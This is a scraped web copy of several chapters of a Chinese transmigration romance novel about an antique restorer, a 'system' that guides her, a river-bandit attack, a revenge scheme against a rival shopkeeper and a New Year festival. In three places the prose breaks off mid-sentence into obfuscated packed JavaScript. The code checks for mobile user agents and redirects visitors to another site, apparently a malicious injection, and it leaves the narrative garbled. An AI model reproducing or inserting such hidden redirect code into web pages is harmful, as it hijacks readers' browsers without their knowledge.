路元玉猛地出手,用力攥住那把锋利的剑,想将它夺过来。 但水匪身体健壮,用力把剑抽回去,路元玉手心被剑划出一道深深的口子,留下殷红的鲜血。 她眉头紧皱,感到刺骨的疼痛,却还是没有松开。 她不能就这么死去,她能在季修宁手中活下来,就不能死在这么一个平平无奇的无名之徒手上,就算拖,也要拖到季修宁来救她。 水匪见路元玉竟敢反抗,一时间怒从心起,用力将剑抽出,带出一道血柱喷溅出来。 路元玉被这强硬的力道猛地一扑,整个人不受控制地向后倒去,下一面,左腿上传来刺骨的疼痛。 ——水匪生气了,想虐杀她。 很好,这样她就可以晚点死了。 她脑中无端浮现起这么一个病态的想法。 没办法,在绝对的武力值面前,任何手段都不能施展出来。 但同时,心中又浮现起另一个恐慌,季修宁会及时赶来救她吗? 水匪在她腿上,手臂上以及小腹各捅了一刀,她疼的冒汗,却咬紧嘴唇,不发出一点声音。 就在她疼得要昏迷之际,船舱门忽然被踹开了! 季修宁满身沾血,面色冷峻,犹如罗刹,动作迅速,将面前几人全都一刀砍死。 路元玉紧绷着的心忽然放回了肚子里。 季修宁身上血腥味慢慢,语气却低沉醇厚:“再坚持一下,外面还有很多人,不能晕。” 路元玉视线有些迷蒙:“我们要死了吗?” 季修宁薄唇紧抿:“不会。” 路元玉突然想起了什么,动了动,“我们出去出去。” 季修宁皱眉:“外面很危险。” 路元玉目光有些呆滞,神情却很坚定,“放心,我不会送死……我有办法了,我们可以离开。” 季修宁按照她说的,将她抱到了船舱外。 外面,水匪大多数已经被清理干净,但很快,后面又来了一拨人,他们如同杀不尽的野草般,杀了一个长出来一堆。 季修宁身上也已经挂了很多伤口,不能再继续下去了。 路元玉神情麻木,从衣袖中掏出一个小瓷瓶,狠狠地将它砸碎在甲板上。 然后又拿出另一个瓷瓶,这个瓷瓶里面装的是火药,她买来是用于清理锈迹用的,只买了一点,不过一点也够用了。 她将两样东西混合均匀,看向季修宁:“一会儿我把它点燃,你就拉着我跳进河里,一定要快。” 待季修宁点头,路元玉将火折子凑近那堆粉末。 瞬间,他们船上便爆发出一阵强烈刺眼的白光和一大片刺眼的白雾,视野顿失。 等白雾好不容易散去,眼前已经没了那两人的身影。 剩下的那些水匪见人已经逃脱,不由得暗骂一声,问为首的那个人怎么办。 那人声音沉沉:“你们追下去,我回去汇报。” 在爆炸的一瞬间,二人便瞬间跳入水中,刺骨的冰冷从伤口处蔓延,路元玉体力不支,瞬间晕了过去。 不知道季修宁是怎么找到陆地,将她扯上来的,难能可贵的是,季修宁并没有丢下她。 脑子里是系统惊慌的提醒,它也没想道这次竟然这么危险,不仅季修宁没救成,它的宿主也差点搭进去。 眼看季修宁只剩下十分钟的生命时间,它赶紧催促路元玉给季修宁喂药。 路元玉看着双眼紧闭,唇色苍白,陷入极度微弱状态的季修宁,眼中不自觉软了几分。 她还活着,虽然身上伤口很多,但被他救下来了。 他明明也受了很重的伤,她昏过去以后,他明明可以抛下她,却还是拼尽全力连带着她也爬上了岸。 两人上半身在岸上,小腿一下的部分还搭在岸边,看得出来季修宁也是撑到最后一秒,实在撑不住了才晕了过去。 两人靠的很近,但两人身上很冰冷,只有江水的气息,在寂静的夜晚,有些惺惺相惜的意味。 路元玉看了一会儿,将救命丸放进季修宁嘴里,想闭上眼睛再休息一下,却听到系统还在叫她。 她不耐烦睁开眼。 系统:【宿主,系统空间内还有一颗救命丸,是为您准备的,请尽快服用。】 没想到系统竟然也会给她准备药品,路元玉眼中露出几分惊讶神色。 “为什么……”她喃喃。 【你是我带进来的,当然会保证你的人身安全。】 系统语调冰冷没有感情,却让路元玉感觉很温暖。 想当初,她被强制留在这里,确实很不高兴,但没想到这个冷冰冰的家伙,还意外地有合约精神。 系统没有告诉路元玉的是,它并没有保护她的责任,这颗救命丸也是以季修宁受伤太重,一颗不够的名义申请的。 路元玉吃下药后,感觉好了很多,身上顿时有了力气,刚才遭遇的一切也在脑海中快速回顾了一遍。 她确信,这次的人还是来杀她的。 而与她结仇的只有一位,那就是赵掌柜。 自己挡了他的财路,他便要将自己置于死地,自己一天不死,他就一天不会善罢甘休。 又想到侯掌柜为自己挡剑的情形,路元玉心里慢慢形成一个复仇计划。 片刻后,她敛眉,将目光放在季修宁身上。 还是先给他清理一下伤口,他醒了之后,后面的计划才好施行。 她清理得很认真,眼中什么感情都没有,仿佛只是在机械地修复一件古董。 路元玉原本想直接将他的衣服撕开,但没想到,衣服质量好得她根本撕不动,只好将他上衣脱了下来。 这么一脱,路元玉发现,季修宁身上原来不止一个伤口。 脊背上,胳膊上和前胸,大大小小的伤口已经被江水泡的有些发白。 肩上还插着一只断了半截的箭。 路元玉到了点碘伏给他的伤口消毒,全都包扎好了才看向他肩膀上的断箭。 她以前没处理过这种情况的伤口,但看过电视剧,里面都是先拔掉再快速止血。 于是她瞬间发力,将箭头从季修宁身上拔了下来。 但他因为疼痛,嘴唇更白了几分,眉头紧皱,从嘴边溢出一声低低的、痛苦的呻/吟声。 下一秒,季修宁睁开了眼睛。 潋滟却冰冷的桃花眼中,此刻只有虚弱和谨慎。 在看到路元玉后,他才完全放松下来,又闭上了眼睛。 路元玉没顾得上跟他说话,正在全力止血,等完成之后,她已经出了一身冷汗。 再看向季修宁,他唇色惨白,神态却已经恢复自然,只是眉宇间有些虚弱,不然根本看不出来他受了这么重的伤。 上半身肌肉勃发,虽然在冰冷的江水里泡过,但似乎已经被他体内的热气蒸腾挥发掉,在他白皙的皮肤上凝结成一滴滴汗水,然后汇聚到一起,渗进腰间的衣料里。 季修宁半阖双眼,虽然没有看向路元玉,但也知道此时她落在自己身体上毫不掩饰的目光。 很奇怪,他竟然不讨厌。 他微微抬眸,对上路元玉还没来得及收回的目光,眼中意味不明。 路元玉丝毫没有被抓包的自觉,像是什么都没发生似的,淡淡道:“你好好休息,我去找点干柴过来。” 然后起身走远了。 路元玉走后,季修宁看了眼自己身上缠着的干净松软的绷带,眉心微拧。 他现在已经不再怀疑她的用心了,只是单纯的疑惑。 他并没有见她随身带什么医疗用品,这些绷带是从哪来的? 想不明白,他也不再为难自己,起身也去找干柴。 他回来时,路元玉已经回来了,只是她站在原地,怀中抱着木柴,呆呆看着前方,不知在想什么。 季修宁抬脚往前走了两步,脚下枯叶咔擦作响。 路元玉猛然回头,不知为什么,他似乎从她的眼中看到一丝后怕。 但只是一瞬间,她便恢复如初,将柴扔在地上,自己顺势盘腿坐了下来。 季修宁没有想那么多,便蹲下钻木取火,火星冒出的一瞬间,路元玉冷不丁道:“以后你去哪里记得跟我说一声。” 季修宁下意识应了一声,然后又想到什么,抬头去看她。 她浑身湿透,头发一缕一缕的沾到脸上,身上的衣服也都是血迹。 他忽然想起来,她也受了很重的伤,却只给他清理了伤口。 内心忽然涌起一阵奇异的感受。 他手下动作快了几分,生好火后,走到路元玉身边,单膝下跪。 “你受伤很严重,我帮你清理。” 路元玉没有想到他会突然帮她,眼眸微颤,淡淡道:“不用。” 她现在不是很想管身体上的不适,尽管她很痛,手上的伤口甚至还在渗血。 但她什么都不想管,不想动。 她表情僵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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季修宁见状,带笑的表情并没有丝毫变化,甚至眼中流露出一丝宠溺,一言不发地拿起东西开始给路元玉处理伤口。 他处理得很仔细,路元玉几乎感受不到疼,不知道进行了多久,等处理好之后,前面的火堆恰好也灭了,远方天边露出一层鱼肚白,江面上也生起了薄雾。 他们在一片荒废的土坡上,土坡连接着不远处的一个村落。 季修宁重新将篝火点燃,温柔的看着路元玉,“再休息一下,休息好了我们就走。” 火苗再一次冒出,暖黄色的篝火在清寂的凌晨给了两人一丝温暖。 路元玉低低“嗯”了一声,身上的伤口被处理好之后,确实舒服很多,连带着心情也恢复好了一点。 她拿着一根棍子,有一下没一下地戳着,眼底倒映着不断跳跃的火苗,语气沉沉:“你感觉到了吗,今晚的人,好像是特意来杀我们的。” 季修宁闻言,温柔的神色收敛,眼中凌厉几分,“嗯。” 路元玉:“之前的那个刺客查到了吗?还有到底是谁蓄意纵火?这两件事和今晚的事有联系吗?” “回去应该就知道了。” 路元玉不再说话,突然翻身,拿过被放在一边的断箭递给季修宁。 “可以看看这根箭上有没有什么线索。” 季修宁接过:“好。” 路元玉不再说话,但又想张嘴说些什么,犹豫再三,也没说出来什么。 季修宁察觉到,坐得离她近了点。 “放心,我会厚葬他的。” 他肯定路元玉是在内疚不安。 他虽然来的晚了,但当时也看到了侯四同死在了她怀里的模样,虽然不知道为什么她如此伤心,但他会帮她把一切都处理好。 路元玉眼神沉沉。 如果是赵卓远,她真的不知道该怎么做,才能解她心头只恨了。 来到这个世界,侯老爷子是第一个没有任何条件就对她好的人,在他店里工作,他从来没有强迫她做任何不喜欢的事,还怕她初来乍到不习惯,经常拉着她聊天。 她也是从侯爷爷身上感受到了一丝家的温暖,但不幸的是,这点温暖就像方才的火堆一样,转瞬即逝。 但她不是一个会被轻易打败的人,就像当初对付采儿一样,她会等待时机,步步为营,将敌人打败。 路元玉擦了擦冰凉的脸颊,眼中的光芒更坚定了一些。 天色渐渐亮起来,清晨的风有些凉,吹在身上有些冷,路元玉紧了紧衣服。 待天光大亮,路元玉二人也休息够了,他们起身离开这里。 两人一边走一边问路,等回到湖州府时,又是几天过去。 侯老爷子无妻无子,孑然一身,两人便去他家里收拾了一套衣物,为他立了个衣冠冢。 侯老爷子的院子则是保留了下来。 至于他的博古轩,季修宁依旧开了下去,找了个新的、靠谱的人当掌柜。 路元玉没什么置喙的权力。 其实这段时间她也看了出来,侯掌柜不仅是季修宁的好友,更是季修宁的属下。 不知道季修宁从哪里搞来的银子,很快便将听竹轩重新休整一番,店面看起来比之前更加宽阔,但店内的古董却少了很多。 又过了几日,季修宁对路元玉说,他查到了这一连串事件的幕后凶手。 20. 第二十章·设局 夜色深沉,博古轩库房的窗户上,油灯的烛芯不断跳动。 路元玉不自觉屏息道:“是赵掌柜?” “嗯,”季修宁拿出那截断箭,放在桌子上,“这箭矢虽然粗糙,但箭杆木质是官府近年植树所用的官堤柳。” “此柳是近年工部特选的树种,树苗由官仓统一发放,根系深固,专为锁住堤土。民间不许私伐,流寇更无缘得取——能成批砍伐此木而不被追究的,只有负责植护的衙门本身。” 路元玉拧眉,“你不是说与赵掌柜有关?” 季修宁点头,“三个月前,赵掌柜突然聘请了仁和县县衙刑名师爷魏丰茂,担任其店铺的顾问。” “赵掌柜每月都会给他一个红包,其具体数额谁都不知道。” “几天前,赵卓远不知道从哪里得知了我们的行踪,就在我们离开湖州府城的前一天,他给魏丰茂去信一封。” “之前的刺杀以及纵火,也都是他做的。他为了不让我们怀疑到他头上,特意等了两个月,想将你一击杀死,并且事后还派出了别的替死鬼,耽误了我一些时间。” “但是你次次都能活下来,他很生气,如果不想再被他桎梏,我决定今晚就去将他解决掉。” 路元玉很快理清了其中的因果关系,她点点头,但是阻止了他的行动。 “让他就这么死了救太便宜他了,我已经有了安排。” 季修宁眼神微动,其实按照他以往的做法,也是会选择让人生不如死,但这次涉及到路元玉的安危,他不想再冒险。 没想到路元玉竟然会主动提出来。 两人计划了一番,带季修宁点头,路元玉眼中滑过一丝狠厉。 她从来都不是什么好人,以前看不出来,是因为她身在法治社会,也没遇到过这种人。 但现在她在古代,并且对方一而再,再而三地招惹她,还害死了这个世界上唯一会对她好的人,她如果再不反击,那简直白白做人一场。 季修宁又要走了,路元玉却突然拽住了他。 “你每次想来就来,想走就走,可我每次想找你的时候,应该怎么找?” 季修宁挑眉,有些意外。 路元玉不服输地盯着他。 片刻后,季修宁笑了一声从袖口中拿出一个竹哨递给她。 “早就给你准备好了。” - 三个月后,已是腊月初。 天色阴沉,潮湿刺骨。 大部分人都躲在室内取暖,没有必要不外出。 路元玉也是照常在店铺中修复文物。 近日,不知从哪传来消息,说是一位背景神秘的人自北方而来,携带了一件绝世珍品来到湖州,正秘密找人修复鉴定,且出手阔绰。 由于路元玉这段时间在湖州府积累了些名声,那人便秘密联系上了她。 赵掌柜知道了这个消息后,气得将桌上的茶盏掀翻,茶壶里的茶叶和热汤全都洒到了地上,一片狼藉。 “该死的,她怎么还不死?” 赵掌柜气得几乎要喘不上气,自从那女人出现后,他这店铺的生意便一落千丈,再也不像以前那般辉煌,门口的台阶上都落灰了! 他等了好久,好不容易等到机会出手,她却什么事都没有,只是死了一个老不死的老头! 如果不是她,如今这份美差本是该落在他头上的! 赵掌柜一通出气,逐渐冷静了下来。 生气归生气,事还是要办的。 他已经打听清楚了,此番携带宝物的人叫萧胤,是前朝萧家之后。 萧家在前朝确实风光过一段时间,但新朝建立后,便再也没听说过了。 仕途走不通,萧胤又不擅武,便想将此宝修复好,送给当地的大儒,求他庇护,为此不惜重金求能将宝物修好的人。 赵掌柜眼珠转了转,如果他能将此宝物修好,那他的店铺不仅能重回以前的繁荣时期,他自己也会在古玩圈的地位提升一大截。 但……赵掌柜目光闪了闪,现在还不知道他所谓的宝物是什么,如果只是一些常见的东西,他就没什么兴趣了。 不过他虽然没打听到,听说那个女人已经见过了。 - 此消息传出去还没两天,赵掌柜就登上了博古轩的门。 新来的甘掌柜是个老实人,也是混这个圈子的,以前还在赵掌柜那里修过一对酒杯。 乍见赵掌柜上门,他连忙丢下正在接待的客人,跑来迎接赵掌柜。 赵掌柜却不给面子,冷声道:“你们店会修古玩的女伙计呢,叫她出来。” 甘掌柜有些为难道:“这……她最近很忙,现在正在接待客人,不太方便。” 赵掌柜闻言,眼睛闪过一丝极快的精光,沉思片刻,突然笑道:“不着急,我等等便是。” 说完便坐在一旁等着了。 甘掌柜请他到内间喝茶,他却也不听,只在一旁直愣愣坐着。 这下谁还不知道他是什么心思,只是没想到,他居然这么小心眼,明明是侯掌柜做的事情,反倒过来为难这个新掌柜。 甘掌柜只好一边擦汗,一边接待别的客人。 不知道等了多久,赵掌柜等的都开始不耐烦了,路元玉才挑开帘子,从里面出来。 赵掌柜听见动静,频频往她身后去瞧。 路元玉唇边扬起一抹笑,走到他身前,“赵掌柜在看什么?” 赵掌柜笑着站起来,满脸堆笑,意有所指道:“听说……” 路元玉细眉微挑,道:“赵掌柜您消息可真灵通,莫非……也是为了那件宝物?” 赵掌柜:“‘也’?” 路元玉点头:“不错,在你之前,已经有两个人找过我了。” 赵掌柜暗自皱眉,内心暗暗思索到底是谁比自己的消息还迅速。 但他只想了片刻,便问:“李姑娘,他们来找你做什么?” 路元玉笑,“自然是你来做什么,他们便来做什么。” “那你答应他们了?”赵掌柜急切地上前一步。 路元玉笑着给赵掌柜倒了杯茶,递给他。 “您别急,听我慢慢说。” 见赵掌柜认真的样子,她继续道:“三个月前,侯掌柜带着我去和侯掌柜打赌,后来我一直都很后悔,想找个机会当面给你道歉,可我这一直走不开。” “嗐,这都多久的事了,你还提它做什么。”赵掌柜有些拿不准路元玉突然提起这件事的用意,局促地打哈哈道。 路元玉神色认真,不赞同道:“赵掌柜,您别有压力。我同您说这些,只是想让您知道,我想向您道歉,如果您不嫌弃的话,此次对这件宝物的修复,您可以全程旁观。” 一般文物修复都是一件很私密的工作,自己在修复时,很不喜欢旁边有人看着,更别提那人是对家。 赵掌柜闻言,面色一喜,却是连连推辞:“这、这多不好。” 路元玉似乎料到他不会答应,并没什么很意外的样子,只是淡淡地点了点头,“赵掌柜不愿意我也理解,毕竟……” 后面的话她没有再说,留给他脑补。 赵掌柜却有些傻眼了,这、按照规矩,她不应该再请两回然后他再勉为其难地答应吗? 果然她是不愿意让自己看到那件宝物。 只是一瞬间,赵掌柜便确认那件宝物的价值正如他所料般价值连城。 他连忙接话道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032459|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“不是,你误会我了。我只是担心自己才疏学浅,怕是影响了你的进度。” 见赵掌柜应下,路元玉便收起客套的笑,道:“赵掌柜过谦了,既然如此,那您明日辰时过来,我们一同鉴赏。” 说罢,不等赵掌柜回应,路元玉就离开了。 她感觉自己与赵掌柜说话的这几分钟过的格外漫长,一秒也不想再待下去。 然而她突变的态度落在赵掌柜眼里又是另外一番意思。 肯定是自己让她忌惮了,否则为什么听到他确定要来,她就瞬间变了脸色? 赵掌柜细细琢磨一番,越发高兴起来。 他并没有将路元玉放在眼里,纵使上次她赢了赌又如何,那只能说明她巧言善辩,根本没一点真功夫。 他相信,以她的修复水平,绝对会让那萧胤轰然大怒的。 翌日一早,辰时还未到,赵掌柜就站在了博古轩门外。 甘掌柜过来开门时,意外地看了他好几眼。 赵掌柜懒得解释,只是一味坐在角落等着路元玉过来叫他。 辰时刚到,路元玉就打开了库房通往店铺的门,见到赵掌柜之后,扔给他一套衣服。 “赵掌柜,昨日我同那位贵客提了要带个人的事,那位老板小心谨慎,说我只能带小厮,今天要委屈一下你了。” 赵掌柜有些懵,看了眼自己身上的华贵套装,又看了眼自己手上拿着的破烂抹布,咬了咬牙,转身去内间换上了。 待他出来之后,身上的珠宝首饰被摘了个干净,一点也看不出方才他那财大气粗的样子。 路元玉点了点头,“走吧。” 两人走出门口,发现门外不知何时停了一顶轿子,赵掌柜讶然,路元玉却先行一步走了上去。 赵掌柜也赶紧跟了上去。 路元玉却道:“赵掌柜,您今日是小厮的身份,不能入轿。” 赵掌柜面色微僵,忍了下来。 软轿在湖州府城内七拐八拐,终于停在了一座看起来平平无奇的小院前面。 纵是阴冷的天,赵掌柜都已经累得满头大汗,待他看清这地方后,不禁高声道:“这不是侯掌柜住的院子吗,你带我来这里干什么?” 路元玉:“贵客找到我,想要一个简单的院子,正巧侯掌柜这里闲置着,我就让贵客暂住了。” 赵掌柜依旧生气:“那也用不着绕这么远的路吧?”累死他了! 路元玉淡淡解释:“这是为了防止有人恶意跟踪。” 她从轿子中下来,敲响了木门,很快,便有一个老仆过来打开门,整个过程双方都没有说话,路元玉直接就走了进去。 赵掌柜见状,也不再抱怨,连忙跟上。 两人来到堂屋,书桌和外面待客的地方被屏风分为两半,路元玉直直走进去,赵掌柜却被拦在了屏风外面。 赵掌柜有些心急,解释道:“我是她的小厮,她带我来的。” 老仆面无表情解释道:“我们少爷有令,李姑娘所带的小厮不得进入屏风内半步。” 闻言,赵掌柜久久没能反应过来。 合着他受了半天罪,到头来还是连宝物的面都不能见一次啊? 他现在还不知道,今天他所受的嗟磨只是刚刚开始。 室内传来路元玉淡淡的声音:“老赵,不能冲撞了客人。” 赵掌柜闻言,内心更加憋闷。 还不如直接跟他说不能见呢! 他“唰”的坐在一旁的椅子上面,烦躁地在室内看来看去。 忽然! 他愣住了。 他这个地方正好位于屏风两扇衔接处,透过中间的缝隙,他可以隐约看到路元玉正在修补的宝物! 21. 第二十一章·过年(上) 他顿时激动起来,一边注意着不被人发现,一边偷偷打量书桌上的宝物。 那是一件青玉枕。玉料硕大,雕琢古朴,有火烧、土沁痕迹。 玉枕上的土已经被人仔细地清理掉一半,露出里面温润的质地。 赵掌柜立刻瞪大了眼睛,他几乎是同一时间就想到了那件秦皇传国玉枕。 据传该玉枕是秦始皇用以安眠、镇国运的玉枕,后阿房宫火,此枕流落民间。 难道、难道! 不、不可能。 赵掌柜摇摇头,强迫自己冷静下来。 可是很难。 那可是秦皇的传国玉枕啊! 据传,在玉枕一侧,刻有秦皇东巡狩猎时所见的《石鼓文》。 外行人不知道,如今,真品石鼓文拓本已是千金难求的至宝。而这份刻在秦皇玉枕上的原始铭文及其完整拓本,更是千金难求、价值连城! 如果这件宝物能归自己所有……他都不敢想以后他的生活该有多美好。 他情不自禁笑了起来,无意间笑出了声,连忙回神。 然而这些护卫像是都没听到似的,没有一点反应。 赵掌柜连忙收敛了表情。 路元玉在这里待了一天,直到傍晚时分,她才从里面走了出来。 为了让这件事显得更真实,后面路元玉天天都往这里跑,一待就是一整天。 而从那天之后,赵掌柜不知怎么和萧胤搭上了关系,两人常常把酒言欢,畅谈人生理想。 期间赵掌柜还多次提出想出钱买了他那间秦皇玉枕,但萧胤却态度强硬,一点也不肯松口。 - 又是一个月过去,路元玉将玉枕修好后没几天,就迎来了她在这里过的第一个新年。 提前好几天,季修宁就在路元玉的安排下,按照风俗习惯将卫生打扫干净。 他们还买了很多漂亮的窗花,以及用来做年夜饭的食材。 但不知为什么,越临近新年,季修宁变得愈发奇怪起来。 让他买菜,却买了一堆肉回来;让他洗衣服,却打了一桶水回来,让他切菜,却去烧火去了。 路元玉忍无可忍,将他拎了起来。 “老实告诉我,到底怎么回事?” 季修宁沉着脸,皱着眉,薄唇紧抿,神色间似有痛苦,一言不发。 路元玉见状,不由得也严肃起来。 他这样子,不像是生病,难道是想起来以前的痛苦经历了? 原书里说季修宁在宫里的时候总是被人欺负,从宫里逃出来之后由于没有户籍,也被人嗟磨了一段时候,后来他成为一名商人,也是被人低看两分,再加上他主要的复国大业不顺,前半生的经历可以说一直在低估,从来没有爬起来过。 所以很有可能是过年的时候给他留下了什么心理阴影。 路元玉觉得很有道理,于是不再逼问他,留他一个人待在院子里,自己去做饭了。 她不是很想安慰他。 一是因为她不擅长安慰人,说出来的话可能让季修宁更难受,二是这些痛苦是季修宁已经经历过,切身承受过的巨大的痛苦,才能影响到他如今的所作所为,路元玉并不觉得自己三言两语就能将他从过往的痛苦中拯救出来。 虽然这些日子相处过程中,她是对他有了一些好感没错,但她没有承接他负面情绪的义务。 毕竟当时系统就说了,只要阻止他死亡就好了。 如果季修宁一直被过去的事情影响,一到过年就沉浸在这种悲伤的情绪里,那等她完成任务就会离开。 她虽然喜欢他带来的刺激,但并不像承受他的情绪。 这么说可能有些自私,但同样的,她也不会将自己的负面情绪展露给任何人。 她坚信,自己的痛苦只有自己才能解决。 等她做晚饭出来时,季修宁已经不在了,不知道他去了哪里。 路元玉便给他留了一份饭,自己先吃上了。 虽然说是不接受他的负面情绪,但毕竟快过年了,还是要给他一点家的温暖。 路元玉以为他今天晚上都不会回来了,没想到刚吃完饭,就见到他左手提着一罐酒,右手提了一个纸袋子回来了。 季修宁将酒坛放到桌上,看了满桌的残羹剩饭一眼,面无表情地开口:“陪我喝点?” 路元玉不知道他想干什么,但还是点了点头。 喝点酒而已又不是什么大事。 而且被她这么一说,她还没尝过这里的酒是什么味道,今天正好尝一尝。 她拿出两个干净的酒杯,“给你留了饭,自己去盛吧,空肚喝酒容易胃疼。” 季修宁修长的手指微顿,路元玉以为他要拒绝了,毕竟男人都有点大男子主义,爱在女人面前逞强。 但没想到他竟然低低地“嗯”了一声,乖乖放下酒坛去盛饭了。 很乖。让路元玉想起了五个月前给他滴蜡那一次,他也是很乖。 他心里到底在想什么呢? 路元玉心中升起几分探索欲。 她给两人倒满了酒,季修宁端着留在锅里的热饭回来了。 他沉默的坐下,本想端起酒一饮而尽,但又看到路元玉的眼神,还是先吃了口饭,然后端杯一饮而尽。 路元玉忍不住笑了一声,“你怎么回事,扭扭捏捏的。” 季修宁被酒辣的皱起了脸,很快脸上布满一片薄红。 他没有回答路元玉的问题,反而是突兀地向她道谢。 “路元玉,谢谢你。” 嗓音被酒浸润过后有些沙哑,原本清冷的音色被添上几分暖意。 路元玉微怔,先是不明白他为什么突然道谢,她可什么都没做。 再又是一愣,这好像是他第一次叫她的名字,她的名字从他的嘴里说出来,感觉……有些怪怪的。 她感觉她也变得奇怪起来,不知道该怎么回应,于是猛地端起酒杯,也一饮而尽,然后被呛得咳嗽起来。 咳嗽不停,呛出了眼泪,她拿筷子夹了口菜压了压,才感觉好受许多。 抬眼,就看到季修宁满含笑意地看着她。 “阿玉好酒量。” 揶揄她?路元玉不满皱眉,不作回应。 又给自己倒了杯酒,才问道:“你谢我什么?” 季修宁端起碗扒了口饭,又放下,眉宇间笑意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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天色将暗,便有人已经迫不及待开始放起了烟花,胡同里孩子们的笑闹声传出老远。 路元玉和季修宁二人换上了新衣服在厨房忙活年夜饭。 季修宁给自己准备的是一件深松绿缎面交领长袍,领口、袖缘以玄色绲边,色如古松,光泽温润,轻暖不透风。 给她的则是一件藕荷色素绒交领短袄,袖口做的是琵琶窄袖,微微泛着珠光,正式又温暖。 两人衣服的颜色和款式虽然不是情侣装,但是站在一起很和谐。 他们分工很明确,路元玉负责所有技术活,季修宁负责所有体力活。 比如她负责调味,观察火候,他就负责备菜,添柴火。 两人虽然是第一次合作,但不得不说,非常有默契。 南方的年夜饭正餐一般都是吃汤圆,但路元玉内里是一个地地道道的北方人,以前在家时不觉得,现在独在异乡为异客,倒是突然想念起了家乡的传统美食。 他们便又包了些饺子,吃完热气腾腾的饺子,路元玉在看看天上各式各样的烟花,闻着空气中火药的味道,她才感觉这个年,是真的过了。 22. 第二十一章·过年(下) 古代过年要守岁,在江南一带大年三十都有傩戏的庆典活动。民众会戴上面具,扮演各路神怪、历史人物,游行驱邪。 路元玉觉得稀奇,便同季修宁一起出去看。 季修宁没有任何犹豫,爽快地答应下来。 他们二人出门,加入热闹的人群中。 今夜百姓们舞的是常见版的大傩戏,众人戴面具,扮作方相氏与十二神兽,在鼓乐中舞动兵器,巡游全城,意为“索室驱疫”,将瘟疫邪祟赶出城外。 今晚的人实在太多,季修宁不太习惯,想带路元玉跳上沿街的房顶上去看,他本以为路元玉会同他是一样的想法,但路元玉却拒绝了。 路元玉在这个世界中已经一个人待了太久的时间,大多数时候她都要小心谨慎,没有这么多人一起热闹玩乐的机会。 她虽然看起来不合群,但实际上内心比谁都渴望温暖。 但她没有多做解释,只是无声地摇了摇头。 季修宁就只好陪在她身边。 人潮拥挤中,她手中猛地不知被谁塞了一个面具,她拿在手上一看,是白泽神兽。 她又回头看,发现季修宁手中也拿着一个——黑脸门神。 季修宁看她的目光鲜少的有些无措,路元玉觉得好玩,便伸手将面具抢了过来,然后直接戴到了他的脸上。 季修宁第一次被路元玉靠的这么近,有些不习惯地稍微推后了两步,却被路元玉一把又拉了回来。 路元玉灵活的手指在他脑后打上蝴蝶结,嘴巴和鼻子里呼出来的温热气息洒在他脖颈,让他的耳根泛出不自然的红。 好在路元玉动作很快,绑好之后就退后几步,季修宁微不可察地松了一口气,手上却被塞上了她的面具。 “你也帮我带上吧。” 路元玉非常理所当然,并很快就转身背对着他,方便他操作。 季修宁捏了捏手中的面具,一言不发戴了上去。 从面具两个黑洞洞的孔往外看,只能看到她脑后周围的一片皮肤,她白皙脆弱的脖颈在他的视线中格外惹眼。 他蓦然想到他们刚认识时,他刚把路元玉从伏波驿带出来,一时恼怒差点把她掐死时的样子,猛地,他像是见到鬼般,往后退了一大步。 路元玉察觉到异常,往后看了一眼,“怎么了?” 季修宁喉结滚动,想说些什么,却还是摇了摇头,“没什么,我们走吧。” 随着队伍一路游行,路元玉二人被前后左右的人挤作一团,不停被推着往前走。 直到几乎快将大街小巷转了个遍,街上的人才少了些两人才分开了些距离。 走了这么久也累了,季修宁将她带到一处房顶,坐下休息。 路元玉感觉脸有些闷,便随手摘下了面具。 头发可能有些凌乱,脸上带着运动后的微红和薄汗,眼中透露着激动的光芒。 歇了片刻后,路元玉从袖口内掏出一个素面乌木同心圆盒,递给了身后的季修宁。 她话语间带着些不可察觉的期待:“打开看看。” 季修宁瞳孔微颤,“这是……?” 路元玉:“新年礼物。” 季修宁追问:“怎么突然给我准备礼物?”然后下意识补充:“我不需要礼物。” 路元玉笑着看他:“过年就是要互送新年礼物呀,而且你也给我送了礼物,这也算是回礼吧。” 季修宁面色闪过一丝茫然:“我也给你送了礼物?” 路元玉察觉到一丝不对劲:“对呀,这身衣服……难道不是你送给我的?” 季修宁目光在路元玉身上,从头到尾扫了一遍,点点头,“是。” 路元玉:“那不就是了。” 季修宁却还在看她。 他也不知道阴差阳错下,这套衣服能算是一件新年礼物,在此之前,他从来没有送给任何人新年礼物,也没有谁会送给他礼物,这还是第一次与别人互送礼物。 那天只是跟着她——像以前一样,他一直在跟着她,只是在被她发现过之后,就没有那么明显,被她察觉了。 那天他发现她去了好几家成衣店,但是不巧,店铺关门了,她只好一无所获地回来。 但她垮着脸的样子一直萦绕在他脑海里,扰得他不能正常做事,便去别的地方给她挑了一套。 本来他只想买一套就行了,但那店员一直拉着他,跟他说剩下的一套男装跟这套是相配的,如果他不一块买走,这套男装就卖不出去了。 他才不管卖出去卖不出去,但不知为什么,等反应过来的时候,已经把两套衣服都卖下来了。 但他不知道该以什么理由给她,好像不管说什么都很怪。 新年的倒计时越来越近,他心里也越来越焦躁,自己办错了很多事,她都生气了,此时他想到可以用这套衣服赔礼道歉,一切都顺理成章了。 没想到,他随手买下的衣服,竟成了她口中珍贵的新年礼物。 手中的木盒突然变得很沉,有些拿不住。 路元玉见他迟迟不打开,便催道:“怎么,不喜欢?” “没有。”季修宁回过神,慢慢将盒子锁扣打开,露出里面的平安玉扣。 